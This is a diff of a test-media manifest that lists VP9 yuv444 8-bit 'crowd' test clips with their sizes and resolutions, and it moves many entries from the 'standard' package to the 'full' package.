   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41002,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41002,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41002,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41002,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=38845,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=38845,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19465,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19465,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24863,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24863,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=43768,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=43768,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=265934,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=265934,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=8921857,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1981672,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -40236,172 +40236,172 @@
     <value>mime=video/x-vnd.on2.vp9,size=8921857,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1070021,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp20-30_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=575862,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=575862,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=283849,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=283849,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=454102,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=454102,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=122896,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=122896,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42742,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42742,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=9988,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=9988,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41775,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41775,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41823,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41823,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41908,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41908,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19571,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19571,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41696,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41696,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16367,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16367,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41680,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41680,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=36532,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=36532,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19107,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19107,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26250,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26250,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85547,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85547,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86289,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86289,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86537,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86537,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80426,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80426,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80411,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80411,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88463,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88463,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86420,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86420,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87737,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87737,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88226,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88226,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85636,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85636,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86420,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86420,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86420,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86420,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86420,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86420,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84961,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84961,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=92577,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=92577,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87708,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87708,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87708,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87708,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87708,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87708,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87708,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87708,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87708,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87708,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71125,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71125,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=90483,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=90483,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=429795,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=429795,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=16353103,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3293123,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -40410,7 +40410,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=16353103,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1825657,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -40419,163 +40419,163 @@
     <value>mime=video/x-vnd.on2.vp9,size=990497,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=463698,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=463698,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=732363,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=732363,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=204774,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=204774,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80747,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80747,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
